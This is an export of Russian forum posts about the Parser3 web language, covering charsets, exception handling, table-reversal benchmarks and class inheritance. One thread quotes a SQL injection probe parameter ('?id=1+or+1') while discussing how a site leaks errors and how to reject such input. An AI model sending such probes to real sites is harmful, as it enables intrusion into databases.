Поиск по форуму дал http://www.parser.ru/forum/?id=41276\
Но тогда не совсем ясно, почему работает вот это:\
[code]\
$s[^taint[as-is][строка 1^#0D\
строка 2^#0D\
строка 3^#0D}]]\
^s.save[$filename]\
$response:download[\
	$.file[$filename]\
]\
[/code]\
\
Было бы интересно узнать, при каких именно взаимодействиях с внешним миром уничтожаются 0D?"
"47600","мой mysql сервер посылает это:\
Check ... syntax ... near '/\\'4' at line 1\
\
конечно, что именно опасного написать мы все знаем :)\
это, как уже писал, параметр ?id=1+or+1\
\
моя общая идея: если параметр [b]плохой[/b], и сам такой плохой появиться не мог, а является результатом манипуляций, то выдавать в ответ на это 500 ошибку = естественно и правильно. \
\
и пытаться что-то чинить совсем необязательно."
"47601","Скачал парсер с поддержкой Денвера, создал в папке home новый хост, что теперь туда добавлять (кроме папки www), чтобы можно было использовать парсер. Заранее спасибо."
"47603","http://wap.yandex.ru/ - Не может?"
"47604","в общем согласен. Посылать нужно :) Только культурно, а не так... с раскрытием всех путей и sql-запросов :)\
Кстати я повтыкал этот апостроф в другие поля на сайте - везде реагирует нормально, не ругается, но и не выдает ничего лишнего..."
"47606","[code]\
@fromDeveloperOffice[]\
$result(^env:REMOTE_ADDR.match[^^dev\\.elo\\.per])\
\
@unhandled_exception[exception;stack]\
^if(^fromDeveloperOffice[]){\
	$exception.handled(1)\
	^unhandled_exception_debug[$exception;$stack]\
}{\
	^if($exception.type eq \"file.missing\"){\
		$exception.handled(1)\
		$response:location[/404/]\
	}{\
		^unhandled_exception_release[$exception;$stack]\
	}\
}\
[/code]"
"47607","В этой www разместите свои файлы.\
Ну, и .htaccess не забудте там положить..."
"47608","fix_line_breaks выполняются \
* после загрузки текстового файла\
* после получения ?param=<может быть из textarea>\
* после выполнения ^file::exec/cgi[скрипта\
* после выполнения ^file::sql\
\
переносы строк вида \
0D0A // DOS\
0D // Macintosh\
приводятся к виду\
0A // Unix"
"47609","На хостинг был установлен парсер. Тестовая страница, взятая из вашего раздела \"разное\" показала его работоспособность. Я пишу страницу в кодировке utf-8 в bbedit 8, в .htaccess была добавлена кодировка по умолчанию utf-8, однако страница выводится в cp-1251. При отключении парсера, страница выводилась в unicod'е. Отсюда можно заключить, что парсер не передаёт кодировку. Как сделать так, чтобы парсер передавал браузеру кодировку utf-8?"
"47610","вот лог:\
\
[Mon Dec  5 23:00:22 2005] [15400] SIGPIPE received while reading data. uri=/chat/chat.html?view=work&&id=14270, method=GET, cl=0\
[Mon Dec  5 23:00:32 2005] [15437] SIGPIPE received while reading data. uri=/chat/chat.html?view=work&&id=14270, method=GET, cl=0\
\
но пишется не всегда\
переведите пожалуйста, а то не понимаю кто виноват я или сервак"
"47612","http://www.parser.ru/faq/errors/"
"47613","А как с этим бороться я не понял.\
Вот и пишу, может знаете в какую сторону думать?"
"47614","Default кодировка парсера - win1251.\
Уберите из auto.p строку\
[code]\
$response:charset\
[/code]\
и будет вам utf-8 :) "
"47615","Например так:\
\
[code]\
@unhandled_exception[exception;stack]\
# .....\
^if($exception.type eq 'parser.interrupted'){\
#	говорим Парсеру: \"Мы сами обработаем эту ошибку. Пожалуйста, не пишите ничего в журнал\"\
	$exception.handled(1)\
}\
# .....\
[/code]"
"47616","Кто-то из пользователей нажимает кнопку стоп или рефрешит страничку не дождавшись ответа или теряет сетевое соединение"
"47617","Все еще жутко сыро, \
но хотелось бы хоть что-то услышать.\
http://www.transpele.com/pma/"
"47618","А почему ответ про Перл убили?"
"47619","Просто смотрите в начале темы с чего все началось"
"47620","[quote]Default кодировка парсера - win1251.[/quote]\
\
с каких это пор?"
"47621","btw: с 3.1.5 исключения, обработанные unhandled_exception в журнал попадать не будут."
"47623","1. View Source:\
<td valign=\"top\">1 </td>\
<td valign=\"top\">1 </td>\
<td valign=\"top\">7 </td>\
<td valign=\"top\">6 </td>\
<td valign=\"top\">1610610000 </td>\
<td valign=\"top\">wert </td>\
<td valign=\"top\">werteertw </td>\
<td valign=\"top\">eeew </td>\
<td valign=\"top\">wef@dienis.com </td>\
<td valign=\"top\">2005-12-06 19:17:10 </td>\
\
+ я бы все таки чразу писал с class, чтобы любителям скинов потом было где развернуться.\
\
2. SQL запросы при выборе таблицы (что лично мне надо) не работают в Opera, не видно textarea.\
\
3. выбранную БД, таблицу и прочие мелочи я наверное не таскал бы в query и клал-бы в куку.\
\
4. после выполнения запроса в textarea мне нужен текст предыдущего запроса, а его нет.\
\
5. по моему textarea должна быть над результатами запроса. + я бы результаты запроса вывел бы в отдельном [i]frame\
\
ну а на что ещё смотреть я не знаю :)"
"47624","Методы @get_uri[id] и @get_id[uri] работают не совсем оптимально.\
\
У меня появилась идея: почему бы не написать класс для работы с деревовидными данными.\
\
Он уже почти готов. На днях выложу.\
\
Работа с ним будет выглядеть примерно так:\
\
[code]\
^use[tree.p]\
\
# создаем дерево на основе табличных данных\
$site[^tree::init[$objects][$.root_path[/] $.current_id[1]]]\
\
# или так \
$site[^tree::load[/objects.cfg][$.root_path[/]]] загружаем из файла\
\
# или так \
$site[^tree::create{1	0	products}[$.root_path[/]]] создаем в формате tab-delimited\
\
# или так \
$site[^tree::create[]] создаем пустой\
\
# после создания дерева доступны поля: \
# ITEM -- хеш текушего элемента дерева, который содержит все поля элемента (id, parent_id, path, full_path, name, sort_order, .... )\
# Например, так можно получить поля текущего объекта:\
$site.ITEM.full_path\
$site.ITEM.parent_id\
$site.ITEM.name\
$site.ITEM.any_field\
\
# ITEMS -- хэш всего дерева, который содержит хеши всех элементов.\
# Например:\
$site.ITEMS.[$id].full_path\
$site.ITEMS.[$id].name\
$site.ITEMS.[$id].any_field\
\
\
\
\
# Методы\
^has_children[id] -- возвращает \"1\" если у заданного элемента есть дети\
^set_current_id[id] -- устанавливает текущий элемент дерева (после этого в ITEM есть все поля элемента)\
^get_id[full_path] -- выдает id объекта по заданному full_path\
^get_ancestors[$.id(2) $.with_self(1) $.start_from[root]] -- Метод выдает таблицу с номерами объектов-предков: от заданого (по умолчанию) до корневого или наоборот.\
^delete_item[id] -- удаляет элемент и всех его потомков из дерева\
^add_item[id;parent_id;path;additional_fields] -- добавляет элемент в дерево\
^save[file_name] -- сохраняет дерево в текстовый файл в формате tab-delimited\
^get_xml_map[$.map_tag_name[map] $.item_tag_name[item] $.from_id(0)] --  выдает xml-дерево\
[/code]"
"47625","Может какой кэшер стоит, который раз в час чистит свои файлы и сигнал процессам подаёт. А может, при очень кривых руках админа, раз в час пробрасывается что-то \"от зависания\". Надо на другом сервере, у другого провайдера, твой скрипт позапускать и посмотреть что изменится."
"47626","Просто наделя что может еще что-нить скажете\
Всем спасибо. Пошел на другой сервак тестить."
"47627","А чего поле ввода запроса такое широкое?..\
В него люди печатать могут, а не только копировать...\
\
Зачем справа список полей, если их нельзя вставить в запрос?\
Или это пока только?"
"47630","Сделал вот что, а почему глючит не пойму...\
http://www.ugbugan.ru/chat.rar"
"47631","Начиная от заказчика и заканчивая уборщицей."
"47632","Спасибо, это помогло, только я не убрал строку, а присвоил input и request значение utf-8. ))"
"47633","А если у меня верисия в которой в парсере указанно: \
#\
# Для версии Parser, начиная с 3.0.0005, никаких дополнительных \
# настроек в этом файле не требуется.\
#\
# Вы можете спокойно удалить данный файл. Он существует здесь\
# лишь для того, чтобы \"перекрыть\" файл из предыдущей версии пакета.\
#"
"47634","А если у меня верисия в которой в парсере указанно: \
#\
# Для версии Parser, начиная с 3.0.0005, никаких дополнительных \
# настроек в этом файле не требуется.\
#\
# Вы можете спокойно удалить данный файл. Он существует здесь\
# лишь для того, чтобы \"перекрыть\" файл из предыдущей версии пакета.\
#"
"47636","если ничего не указать в параметрах строки соединения, то Parser вам ничего и не перекодирует, и отдаст в SQL сервер запрос в request:charset кодировке. в такой же кодировке будет считать, что ему вернут ответ.\
\
см. документацию, параметр ?ClientCharset.\
\
\
тут что плохо: что если таблицы вы сами наполняете, то вы можете какое-то время не замечать проблем:\
ведь данные как попали туда в utf, так и достанутся в utf, и всё будет как-бы работать… пока вы не запросите length(field) или не скажете order by.\
или не захотите в varchar(10) положить 10 букв в utf кодировке, а когда будете забирать обнаружите, что вынулось только 5 букв.\
\
в mysql <4 в базе [i]официально[/i] можно хранить только в той кодировке, в какой вам скажет администратор скажет.\
\
в mysql 4+ можно в базе прямо utf официально и хранить, см. его документацию.\
о том, как при этом соединяться из parser и как работать: уже тут писалось."
"47637","Выключите денвер, скачайте и установите этот пакет - http://swiss-knife.sourceforge.net/ (если сомневаетесь, что вам нужно из двух файлов, возьмите меньший). Там всё уже сконфигурировано и разложено по полочкам.\
\
(если в процессе установки получите сообщение об ошибке из-за отсутствия файла MSWINSCK.OCX, [url=\"http://www.ascentive.com/support/new/images/lib/MSWINSCK.OCX\"]скачайте его[/url], сохраните в папку c:\\windows\\system32\\ и запустите команду[code]regsvr32.exe c:\\windows\\system32\\MSWINSCK.OCX[/code]"
"47638","А хотите, я вам хороший дизайн сделаю?\
Для такого проекта не жаль и бесплатно."
"47639","Я бы работал с базой, отдавая пользователям \"сырую болванку\" - готовый xml\
В открытых каналох типа main_room.xml. в закрытых типа md5(room_name_room_password).xml\
\
На клиента можно переложить формирование красивых дат и обработку конструкций типа :smile:\
Работать, разумеется с ajax. Это очень просто, да и библиотечек навалом.\
\
Еще лучше - запустить jabber сервер - он умеет и авторизовывать и добавлять, отдает все в xml.\
Фенечек прикручено огромное количество.\
Так работает google talk. \
Недавно появился какой-то flash клиент для google talk - он тоже утягивает xml."
"47640","С удовольствием приму Ваше участие.\
Только как можно проще и эргономичнее."
"47641","Иногда на сервере случается превышение обьема памяти выделеной процессу\
при этом создаются файлы core\
они забивают все свободное место и парсер вообще перестает нормально работать\
можно ли отключить сбрасыванию дампов"
"47642","А если когда я ввожу в адресной строке http://ваш_сайт/cgi-bin/parser3.cgi, то я вижу нижеследующее, это что значит: Internal Server Error\
The server encountered an internal error or misconfiguration and was unable to complete your request.\
Please contact the server administrator, www@mobikom.ru and inform them of the time the error occurred, and anything you might have done that may have caused the error.\
\
More information about this error may be available in the server error log.\
\
\
\
--------------------------------------------------------------------------------\
\
Apache/1.3.28 Server at s.mobikom.ru Port 80"
"47643","Уважаемые разработчики, а вы ба не могли в документации для каждого метода описывать exception, которые могут произойти во время выполнения данного метода, и причину его возникновения? Например как в MSDN"
"47644","он настраивает limits. там легко указать и ограничение в размере памяти на процесс (чтобы не ел неразумно много),\
там же настраивается ограничение на размер core файла (чтобы бессмысленно много не писалось, или не писалось вообще)."
"47646","ограничение есть\
и поэтому он и вылетает что превышает этот лимит\
а насчет размера то он же создается не один...\
можно ли в конфиге самого парсера запретить сбрасывание дампа как такового?"
"47647","Скажите, а можно сделать чтобы парсер обрабатывал файлы не .html а .htm?"
"47650","При такой схеме получается, что каждый участник разработки web-проекта должен иметь установленным на своей машине как минимум набор Apache + Parser, чтобы видеть локальные изменения сразу по сохранении файла и не зафлуживать cvs-сервер. А ведь еще есть БД, схему и содержимое которой тоже неплохо бы держать в cvs.\
\
PS: Да и приучить дизайнера/верстальщика пользоваться cvs та еще задача."
"47651","История: ...как-то развлечения ради я посмотрел что это за птичка - ПАРСЕР, и потом для удовольствия сообразил простенький форум.. и мне понравилось.. удобный не напрягающий язык программирования. я Домодернизировал форум, добавил много других интересных вещей.. вообщем сделал никчему не обязывающий сайт, в кучей скриптов, которые можно использовать.\
Вопрос: у меня нет проблем договориться с хостинг провайдером об установке парсера как модуль их веб сервера, что бы я смог хостить свои сайты написанные на ПАРСЕРЕ. На каких основаниях с вашей стороны я могу это сделать?"
"47652","ситуация с превышением объема памяти совершенно ненормальна.\
\
и необходимо исправить причину, а не возиться со следствиями."
"47656","На моей практике и дизайнеры приучивались, и проджект менеджеры.\
\
Открытых вопросов действительно много, и статья далеко не претендует на полноту раскрытия темы \"работа с cvs\", и, тем не менее, благодарен за конструктивные замечания ;)"
"47660","Попунктно\
\
1. Нужно ли? там всеравно будет выранивание по верху. как не крути. так что я просто написал в стиле td{vertical-align: top;}\
\
2. Sorry - это был баг :) поправил\
3. Это сделаю когда доделаю сессии. Самому не нравится. Еще сделаю механизм истории запросов. просто пока думаю как это сделать покрасивее\
4. Уже есть\
5. тоже подумаю. просто если все это делать в фрэйме, то надо задуматься о том, как его расширять что не надо было побуквенно\\построчно прокручивать результат в окне."
"47661","Ок, опишите, пожалуйста, функциональность скрипта (по почте: drozdovsky@gmail.com). Жду письма :)"
"47662","хотя бы приблизительно указать количество людей, создающих MSDN?\
\
если кто берётся это сделать, готов обсудить лично."
"47663","модуль нужен для больших нагрузок.\
для проектов со средней рагрузкой достаточно cgi.\
о cgi скрипте договариваться ни с кем обычно не нужно.\
основания=ваше желание и ваш договор с провайдером."
"47665","и вы ещё спрашиваете нужно-ли убрать убрать valign=\"top\" из [b]каждой[/b] <td/>? :)"
"47666","Parser3 нарисовать не ломаную линию а гладкую, типа параболы и т.п.? Если да то как, если нет то почему, и будет ли это в следующих версиях языка."
"47667","http://www.livejournal.com/users/misha_old/4044.html\
- АФФТАР ЖЖОТ!"
"47668","Это совсем не критика, а скорее приглашение помыслить далее, поделиться опытом на затронутую тему, ибо она актуальна и хочется найти приемлимую схему, обслуживающую рабочий цикл по разработке веб-проекта."
"47669","взял человек парсер, набил за вечер пример из Help-а, на этом знакомство его с парсером закончилось. \
\
Как относиться к оценке от такого человека? \
\
Как к оценке человека, который взял парсер, набил за вечер пример из Help-а, на этом знакомство его с парсером закончилось :)\
\
И переживать тут нечего. \
\
Интереснее было бы послушать оценку от людей, которые и с php, и с asp.net и с парсером долгое время дело имели."
"47670","[quote]хотя бы приблизительно указать количество людей, создающих MSDN?[/quote]\
Понимаю.\
\
Получается, что exception которые могут вызвать методы можно узнать только из исходников?"
"47671","если я ненавижу лук, а вы его обожаете - спор в любом случае будет бессмысленным. я вам не докажу что он отстой, как и вы мне - что он немыслемый рулез.\
\
просто один человек высказал свое мнение.\
другой опубликовал ссылку на его мнение.\
\
все. спорить тут не о чем."
"47673","... для этого надо задать ее функцией и построить по точкам."
"47674","А что именно не пойму..."
"47675","Постановка задачи:\
Нужно добавить в таблицу новую строку и чтобы она оказалась первой.\
\
Я знаю кучу методов как это сделать, но какой \"самый\" правильный?"
"47676","Человек выразил свое мнение - мы почитали и остались при своем.\
А о Парсере еще написали и подтолкнули его вперед, к известности.\
Не люблю употреблять \"модные\" слова, но P.R., однако :)"
"47677","И зачем Вам именно первой строкой?"
"47678","[code]\
# добавляем строку\
^my_table.append{bla	bla	bla}\
# переворачиваем таблицу с ног на голову\
$my_table[^table::create[$my_table][$.revers(1)]]\
[/code]"
"47679","А нужно оставить все на своих местах, а добавить тока одно, вверху..."
"47680","ну при выводе данных их все равно надо переворачивать, я хотел sort-ом но нет подходящего столбца"
"47681","1.\
[code]\
^table.sort(-^table.line[])\
^table.append{bla bla}\
^table.sort(-^table.line[])\
[/code]\
\
2.\
[code]\
$new_table[^table::create[$table][$.limit(0)]]\
^new_table.append{bla bla}\
^new_table.join[$table]\
[/code]"
"47682","Кто-нибудь может сказать что именно делает /usr/bin/mail? Например, /usr/sbin/sendmail используется для отправки почты, а /usr/bin/mail для приема, получается с помощью неё можно создать свой web-mail?"
"47683","[code]\
# переворачиваем таблицу с ног на голову\
$my_table[^table::create[$my_table][$.revers(1)]]\
# добавляем строку\
^my_table.append{blablabla}\
# переворачиваем таблицу с головы на ноги :)\
$my_table[^table::create[$my_table][$.revers(1)]]\
[/code]"
"47684","P.S. \
1. ни разу не использовал эту опцию.\
2. по моему лучше использовать .sort для переворачивания, хотя я не тестировал, тому кто будет использовать лучше измерить расход памяти при разных реализациях."
"47687","Тестировал методом @run_time[$var] из lib.p\
\
При многострочных таблицах, консрукция\
[code]\
^table.sort(-^table.line[])\
[/code]\
не дает Парсеру \"взлететь\" :)\
\
В то время как, конструкция:\
[code]\
$table[^table::create[$table;$.reverse(1)]]\
[/code]\
работает [b]значительно[/b] быстрее и кушает [b]существенно[/b] меньше.\
\
P.S.\
[b]Не хило![/b]\
Для таблички из тысячи случайных чисел, скоростные параметры работы этих двух способов переворачивания таблицы отличаются в 247 раз.\
Не удивительно. Ведь, в первом случае происходит процесс сортировки, а во втором -- простое копирование.\
\
[b]Ради спортивного интереса:[/b]\
Для таблички из одного милиона случайных чисел... в 740 раз\
\
[b]Что касается расхода памяти:[/b]\
для случая с одной тысячей строк выигрыш -- в 65 раз меньше паямти\
для случая с милионом строк -- в 73 раза\
\
[b]Вывод:[/b]\
[i]Сторонитесь сортировки многострочных таблиц![/i]\
"
"47688","Смеетесь?"
"47690","Спасибо за предупреждение. )"
"47691","Если бы мне нужно было рисовать всякие параболы, окружности,..\
я бы именно так и поступил.\
\
P.S.\
Если необходимо что-то сложное и красивое, можно обратиться к сторонним скриптам."
"47692","^file::load[] загружает файлы с диски или http-сервера.\
\
Значит, могут иметь место все [url=\"http://www.parser.ru/docs/lang/parserexceptions.htm\"]системные ошибки[/url], которые начинаются на 'file.' или 'http.'\
\
А именно,\
\
[code]\
file.missing\
file.access\
\
http.host\
http.connect\
http.response\
http.status\
http.timeout\
[/code]"
"47695","Нужно выходить теперь на первые ряды! Занимать место php. ну и пусть что теперь не будет такой простоты в создании сайтов, зато он теперь сможет [quote]\"полететь на луну\"[/quote]."
"47696","Нормальное мнение, имеющее право на существование. Все описаное правда или почти правда."
"47698","Как то Вы Александр неадекватно (болезненно) реагируете на простые вопросы. Так сильно задевают самолюбие?"
"47699","Вот такое занудство точно не добавляет популярности. Что сложно ответить - да, парсер бесплатен и в качестве дополнения написать кучу вышеприведенных букв? Не сложно, мешает лишь гордыня :)"
"47700","положите вашу таблицу в базу данных: эта, и 1E6 других надуманных проблем уйдут."
"47702","это… неадекватно?\
\
сюрприз: делаю это не первый раз."
"47704","Вопрос как огромную екселевскую книгу запихуть в мускуль"
"47705","Можно сохранить в обычный текстовый файл с какими то разделителями.\
\
Затем запустить команду LOAD DATA INFILE, указав соответствующие разделители"
"47706","посмотрите на данные: нет ли там\
1.1.2001 Петров 10\
2.1.2005 Петров 20\
?\
\
если есть, то лучше бы Петрова в отдельную таблицу...\
\
причесать подобное можно в MS Access, там после RClick|Import.. ваш.xls вам предложат [i]проанализировать[/i] данные. для начала попробуйте довериться встроенной гадалке: в простых случаях она догадывается правильно,\
и [b]сама[/b] вычленяет Петровых в отдельную таблицу, даёт им номера и заменяет в исходной таблице строки на номера.\
\
если гадалка правильно не догадается, есть ручной анализ, где результата можно добиться очень просто: мышкой указываете поля, которые нужно вынести в отдельные таблицы-справочники и привет.\
\
когда у вас в руках окажется .mdb файл с правильной структурой таблиц, из него можно сделать Таблица|RClick|Export... в ODBC MySQL. \
для чего заранее скачайте и установите MySQL ODBC драйвер."
"47707","Лично у меня делается редирект на: http://wap.yandex.ru/index2.xhtml, а там обычный XHTML (что значит и IE без проблем отображает).\
Предлагаю проверить в Опере:\
http://wap.mail.ru"
"47708","Знаете, статья неплоха написана. Знаки препинания расставлены хорошо, слова неплохие взяли. Разные обороты речи.\
Интересно на чём пишет молодой человек. Может на русском языке?\
\
[i]P.S. Будут примеры, будет смысл обсуждения и спора.[/i]"
"47709","Управление полным циклом разработки лежит уже в другой области.\
Начиная от системы управления требованиями (CaliberRM), системы полноценного контроля версий (StarTeam), системы рассчета времени и затрат проекта (Estimate),  и заканчивая целостной единой системой включающей в себя все эти модули (Together) эта область представляет собой уже целую науку, если хотите, исскуство.\
\
Причем ситуация на рынке разработок прямо таки удручающая, по статистике более 90% всех проектов по разработке ПО не вписываются во временные, ресурсные и/или функциональные \
требования.\
\
Исследованием этих продуктов или их аналогов и предлагаю заняться Вам."
"47710","всем спасибо,\
и последний вопрос, есть ли база готовых проектов в которых написано: \"Powered by PARSER\" что бы я тоже мог добавить туда ссылку на готовый продукт?"
"47711","см. раздел «[url=\"http://www.parser.ru/powered_by_parser/\"]в действии[/url]»"
"47717","создал файл Lauth.p\
[code]\
@CLASS\
Lauth\
\
@USE\
auth.p\
\
@BASE\
auth\
\
@init[icookie_data;ilogon_data;iparams]\
  ^BASE:init[$icookie_data;$ilogon_data;$iparams]\
\
\
###########################################################################\
@htmlFormProfile[params][_params]\
  ^setExpireHeaders[]\
  $_params[^hash::create[$params]]\
  <form\
    method=\"post\"\
    ^if(def $_params.target_url){\
      action=\"$_params.target_url\"\
    }\
  >\
    ^untaint[html]{\
      $_params.addon\
      <input type=\"hidden\" name=\"do\" value=\"^if(def $_params.do){$_params.do}{do}\" />\
\
      * Login:<br />\
      <input type=\"text\" name=\"auth.name\" value=\"^if(def $_params.fields.[auth.name]){$_params.fields.[auth.name]}{$user.name}\" /><br />\
      * E-mail:<br />\
      <input type=\"text\" name=\"auth.email\" value=\"^if(def $_params.fields.[auth.email]){$_params.fields.[auth.email]}{$user.email}\"/><br />\
      ^if(!$is_logon){* }Пароль:<br />\
      <input type=\"password\" name=\"auth.passwd\" /><br />\
      ^if(!$is_logon){* }Подтверждение пароля:<br />\
      <input type=\"password\" name=\"auth.passwd_confirm\" /><br />\
      * Имя:<br />\
      <input type=\"text\" name=\"auth.first_name\" value=\"^if(def $_params.fields.[auth.first_name]){$_params.fields.[auth.first_name]}{$user.fist_name}\"/><br />\
      * Отчество:<br />\
      <input type=\"text\" name=\"auth.middle_name\" value=\"^if(def $_params.fields.[auth.middle_name]){$_params.fields.[auth.middle_name]}{$user.middle_name}\"/><br />\
      * Фамилия:<br />\
      <input type=\"text\" name=\"auth.last_name\" value=\"^if(def $_params.fields.[auth.last_name]){$_params.fields.[auth.last_name]}{$user.last_name}\"/><br />\
\
      <input type=\"submit\" name=\"action\" value=\"^if(def $_params.action_name){$_params.action_name}{^if($is_logon){Сохранить}{Зарегистрироваться}}\" />\
      $_params.post_addon\
    }\
  </form>\
#end @htmlFormProfile[]\
[/code]\
\
в сайтовом auto.p\
[code]\
@auto[]\
  ...\
  ^use[lib.p]\
  ^use[mysql.p]\
  ^use[Lauth.p]\
\
  $MAIN:pSQL[^mysql::init[$SQL.connect-string;\
#      $.is_debug(1)\
#      $.cache_dir[/../data/sql_cache]\
  ]]\
@main[] \
  ^MAIN:pSQL.server{\
    ^rem{ *** создаем объект класса auth *** }\
    $auth[\
      ^Lauth::init[\
        $cookie:CLASS;\
        $form:fields;\
        $.csql[$MAIN:pSQL]\
        $.additional_fields[\
          ^table::create{select	update	field\
last_name	last_name	last_name\
first_name	first_name	first_name\
middle_name	middle_name	middle_name\
}\
        ]\
      ]\
    ]\
\
    ^header[] \
    ^body[] \
    ^footer[]\
  }\
[/code]\
\
потом на странице profile.html\
[code]\
	^if($is_show_form){\
		^rem{ *** если надо показываем форму регистрации/изменения параметров *** }\
			^auth.htmlFormProfile[\
			$.fields[$form:fields]\
			$.target_url[./profile.html]\
		]\
	}\
[/code]\
упорно вызывается метод, описаный в оригинальном родительском Мишином auth.p, а не в моем модернизированом Lauth.p\
Как правильно перекрыть, чтобы выводил мой вариант формы?"
"47718","там один разворот таблицы :)\
\
а вообще прикольно, только не совсем понятно что вы тестировали: задачу добавления строки в начало целиком или просто \"переворачивание\" таблицы?"
"47721","Спасибо. Вот по поводу аналогов: наука, искусство - это все хорошо, это мы тоже, конечно, хотим :), но для рядовой веб-студии, штат которой 5-15 человек, занимающейся, по большей части, забиванием своих веб-гвоздей, делать это микроскопом накладно и несподручно.\
А вот удобный и эффективный молоток в виде организации в рамках общей схемы - как организационно, так и программно - взаимосвязи базового управления проектами и документами, контроля версий исходных текстов и не только, development и production хостинг-площадок, а также сервисов, предоставляемых клиентам на этапах разработки и поддержки на базе продуктов, подобных  NetOffice, cvsnt, Bugzilla, wacko-wiki, cPanel и т.д. был бы, как видится, более адекватен таким скромным \"плотницким\" запросам."
"47722","Подготовил табличку на N строк с одной колонкой со случайными числами ^math:random(1000000).\
\
Изменяю N: [10..100, шаг:10] и [200..1000000, шаг: 200]\
\
Таким образом тестировал на 15 таблицах.\
\
Для каждой таблицы замерял сколько тратится времени и памяти на ее \"переворачивание\" одним и другим способом. Сравнивал полученные результаты.\
\
Во время замеров переворачивания методом \"....$.revers(1)\" для повышения точности приходилось делать большое количество переворачиваний и замерять общее время.\
\
P.S.\
Вспомнил студенческие годы и по результатам измерений построил графики. Красиво!\
\
\
Кстати, после этого тестирования пришла идея написать метод.\
Вот он (есче не пробовал):\
[code]\
@compare_processes[process_1;process_2][tm_1;tm_2]\
^raun_time{$process_1}[tm_1]\
^raun_time{$process_2}[tm_2]\
\
^throw[debug;Результаты сравнения;t1 = $tm_1.utime, t2 = $tm_2.utime, dt = ^math:abs($tm_1.utime - $tm_2.utime)\
m1 = $tm_1.memory_kb, m2 = $tm_2.memory_kb, dm = ^math:abs($tm_1.memory_kb - $tm_2.memory_kb)]\
[/code]\
\
Что скажете? Нужен он в lib.p ?"
"47723","Начиная с 7-ки. Я уже говорил."
"47724","F12 — верните родную идентификацию и будет вам счастье :-)"
"47725","замечание: желательно менять местами сравниваемые методы. попробуйте и скорее всего увидите разницу в расходе памяти.\
\
и еще вопросы по вашему тестированию:\
1. таблички были одинаковые или каждый раз генерились заново?\
2. после их загрузки выполнятлся compact?\
\
P.S. во втором предложенном методе переворачивания нету вовсе, только вот интересно как себя ведет .join"
"47726","http://www.parser.ru/docs/lang/?formfield.htm"
"47727","- метод с sort самый тормозной\
- метод в join быстрее в 15 раз и использует в 15 раз меньше памяти\
- метод с $.reverse(1) в 30 раз быстрее предыдущего и использует в 4 раза меньше памяти\
\
а мне-то наивному казалось все совсем иначе %-)"
"47729","сделать просто, но нужно ли кому?\
большие таблицы прекрасно обрабатывает sql, а на маленьких  выгоду в микроскоп не разглядишь."
"47730","я даже не пробовал им пользоваться. Просто появилась идея метода и я набросл эскизик (речь идет о @compare_processes[]).\
\
Когда я тестировал, я пользовался одним @run_time[], причем перед тестированием я создал табличку со случайными числами (милион строк) и записал ее в файлик.\
\
Как я тестировал работу с табличкой на 600000 строк\
[code]\
####################### index.html #######################\
@main[]\
# загружаю \"табличку\" :)\
$my_table[^table::load[/test.txt]]\
# беру нужно количество строк\
$my_table[^table::create[$my_table;$.limit(600000)]]\
# начинаю тестировать\
^run_time{\
	$my_table[^table::create[$my_table;$.reverse(1)]]\
#	$my_table[^my_table.sort(-^my_table.line[])]\
}[var]\
^throw[debug;t = $var.utime, m = $var.memory_kb]\
#Записываю результаты на бумажку :)\
[/code]\
\
\
[code]\
####################### index.html #######################\
@main[]\
# загружаю \"табличку\" :)\
$my_table[^table::load[/test.txt]]\
# беру нужно количество строк\
$my_table[^table::create[$my_table;$.limit(600000)]]\
# начинаю тестировать\
^run_time{\
#	$my_table[^table::create[$my_table;$.reverse(1)]]\
	$my_table[^my_table.sort(-^my_table.line[])]\
}[var]\
^throw[debug;t = $var.utime, m = $var.memory_kb]\
#Записываю результаты на бумажку :)\
[/code]\
\
\
Я хочу сказать, что методы переворачивания тестировались в одинаковых условиях: Табличка использовалась одна и таже.\
compact не выполнялся.\
\
P.s.\
я не совсем понял, что вы хотели сказать в своем P.S.\
[quote]\
во втором предложенном методе переворачивания нету вовсе, только вот интересно как себя ведет .join[/quote]"
"47731","лучше бы посмотрел, че у меня за глюк, что я даже не знаю в какую сторону начать смотреть...\
http://www.parser.ru/forum/?id=47717"
"47732","Создаю объект класса.\
В конструкторе задаю свойтсво и его значение по-умолчанию:\
\
@load[]\
$errtext[!!!]\
\
в классе есть процедура, которая меняет значение поля:\
@check[]\
$errtext[???]\
\
создаю объект конструктором load[]\
$obj[^myclass:load[]]\
^obj.check[]\
\
после чего $obj.errtext выдает !!! а не ??? \
\
т.е. внутри метода, встроенного в динамический класс не получается изменить значение поля объекта, создаваемого на основе этого класса.\
\
в чем грабли?"
"47736","Почему-то ^int2str:money2str($x) при $x == 69.82, 69.83, 69.85, 69.86 и в некоторых других числах уменьшает количество копеек на 1. >=0\
\
Ненавижу чужие коды разбирать, но видимо придется... =( Не отдавать же копейку непонятно кому... =(("
"47737","опечатка  - \
конечно \
\
$obj[^myclass::load[]]\
\
в чем могут быть грабли?"
"47738","[code]$cop2(^cop.int[])[/code]\
86 превращает в 85\
\
Если перед этой строкой поставить \
[code]$cop(^cop.format[%.2f])[/code]\
\
то вроде работает..."
"47739","Как я понял вы используете изолированный способ разработки. Решили ли вы как-то проблему синхронизации баз данных на компьютерах разработчиков с сервером?"
"47740","/test.p\
[code]\
@CLASS\
test\
\
@load[]\
$errtext[!!!]\
\
\
@check[]\
$errtext[???]\
[/code]\
\
/_t.html\
[code]\
^use[/test.p]\
$obj[^test::load[]]\
^obj.check[]\
\
=$obj.errtext=\
[/code]\
\
при обращении к /_t.html выводится: =???="
"47741","тогда по-полной:\
\
\
родительский класс:\
@CLASS\
forms0\
\
@load[]\
$errtext[!!!]\
\
@checkform[]\
$errtext[???]\
\
@error[]\
$errtext\
\
@show[]\
^checkform[]\
^error[]\
\
\
\
\
дочерный класс:\
\
@CLASS\
forms\
@USE\
forms0.p\
@BASE\
forms0\
@load[filename]\
^forms0:load[$filename]\
\
\
\
\
объект:\
\
$form[^forms::load[]]\
^form.show[]\
\
упорно выводит !!! вместо ???"
"47742","Александр, Вы меня не поняли. Я про первое предложение, - выглядит как уязвленное самолюбие. Про запрос о помощи вообще никаких претензий и вопросов нет, - я бы и сам помог, но вот с временем туго :(."
"47743","Проблема синхронизации баз многогранна, в частном случае работаю с одной базой, которая расположена на определенном доступном хосте, едином для команды разработчиков, т.е. все работают с одной, текущей базой. На хостинге соответственно - релиз этой базы, работы с релизом базы на хостинге производятся почти вручную."
"47744","1. попытка выполнить copy/paste вашего кода приводит к method of forms0 (forms0) accepts maximum 0 parameter(s) и правильно, ибо базовый load не имеет параметров, которые вы ему пихаете\
\
2. после добавления параметров все начинает работать, выводит ???\
\
лично мне надоело."
